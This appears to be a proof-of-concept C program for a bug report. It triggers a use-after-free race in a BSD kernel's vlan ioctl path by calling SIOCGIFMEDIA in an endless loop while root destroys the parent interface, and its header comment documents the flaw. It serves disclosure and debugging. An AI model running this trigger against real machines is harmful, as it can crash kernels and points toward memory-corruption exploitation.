/*
 * DF-3394 PoC (unprivileged side): hammer SIOCGIFMEDIA on a vlan(4)
 * interface while the parent's lifetime is churned by root.
 *
 * vlan_ioctl() (sys/net/vlan/if_vlan.c:951-963) captures the parent
 * ifnet pointer `ifp_p = ifv->ifv_p`, DROPS the vlan serializer,
 * then does ifnet_serialize_all(ifp_p) + ifp_p->if_ioctl(ifp_p,...).
 * Nothing pins the parent: if the parent is destroyed concurrently
 * (if_detach -> ifnet_detach_event -> vlan_ifdetach -> vlan_unconfig
 * -> ... -> driver kfree's the ifnet), we serialize and indirect-call
 * through freed memory.
 *
 * usage: ./race_query vlan0
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/if.h>
#include <net/if_media.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int
main(int argc, char *argv[])
{
	struct ifmediareq ifmr;
	int s, ulist[4];
	long n = 0, ok = 0, fail = 0;

	if (argc < 2) {
		fprintf(stderr, "usage: %s ifname\n", argv[0]);
		return 2;
	}
	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) { perror("socket"); return 1; }

	memset(&ifmr, 0, sizeof(ifmr));
	strlcpy(ifmr.ifm_name, argv[1], IFNAMSIZ);
	ifmr.ifm_count = 1;
	ifmr.ifm_ulist = ulist;

	for (;;) {
		ifmr.ifm_count = 1;
		if (ioctl(s, SIOCGIFMEDIA, &ifmr) == 0)
			ok++;
		else
			fail++;
		if (++n % 500000 == 0) {
			printf("iter=%ld ok=%ld fail=%ld\n", n, ok, fail);
			fflush(stdout);
		}
	}
}
